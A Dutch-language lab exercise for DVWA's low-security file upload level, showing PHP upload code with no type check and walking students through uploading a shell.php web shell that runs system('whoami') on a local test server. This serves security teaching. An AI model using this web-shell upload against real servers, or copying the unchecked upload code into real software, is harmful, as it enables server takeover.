File Upload — Low
Websites hebben vaak een functie om afbeeldingen (zoals profielfoto's) te uploaden. Een slecht beveiligde upload-functie is een van de snelste manieren voor een hacker om de server compleet over te nemen.
1. Predict (Voorspel)
Wanneer je op het Low level een bestand uploadt, doet de server dit:
$target_path = "../../hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path );
Vraag: Dit script is ontworpen voor afbeeldingen. Wat gebeurt er als je een tekstbestand met de naam hack.php uploadt waarin PHP-code staat? Wordt dit geweigerd?
Antwoord
Nee, de server weigert helemaal niets! Het script verplaatst domweg het geüploade bestand (hack.php) naar een voor het publiek toegankelijke map (/hackable/uploads/).
Zodra je daarna via je eigen browser navigeert naar het bestand: http://localhost/hackable/uploads/hack.php, voert de server jouw zelfgeschreven PHP code uit! Met één simpel bestand heb je zo een Web Shell gecreëerd waarmee je volledige controle over de server krijgt.
2. Run & Investigate
Start het lab.
Je ziet een eenvoudig formulier om een afbeelding te uploaden.
3. Modify & Make (Aanpassen & Maken)
Maak een kwaadaardig bestandje aan en upload het naar de server om een opdracht uit te voeren.
Tip
Maak op je eigen PC (met Kladblok) een bestandje aan met de naam shell.php.
Zet daar de volgende code in:
<?php echo system('whoami'); ?>
Antwoord
- Upload het
shell.phpbestand via het DVWA formulier. - Je ziet op het scherm staan waar hij is opgeslagen (vaak is dat
../../hackable/uploads/shell.php). - Ga in je browser naar die specifieke URL (bijvoorbeeld
http://localhost/DVWA/hackable/uploads/shell.php). - In plaats van een gedownload bestand, zie je ineens je accountnaam in de browser! De webserver heeft jouw meegeleverde code uitgevoerd.
4. ✓ Wat moest je zien?
- DVWA toont na het uploaden een groene melding zoals "
../../hackable/uploads/shell.phpsuccesfully uploaded!" — zonder enige type-check. - Wanneer je in een nieuw tabblad naar
http://localhost/DVWA/hackable/uploads/shell.phpnavigeert, verschijnt alleen de tekstwww-data(of een vergelijkbare accountnaam). - Géén PHP-broncode op het scherm: de server heeft het bestand uitgevoerd in plaats van laten zien.
Zie je je PHP-code als platte tekst of een download? Dan staat de map niet als PHP-uitvoerbaar geconfigureerd, of klikte je in plaats daarvan op de gegenereerde link binnen de DVWA-pagina zelf.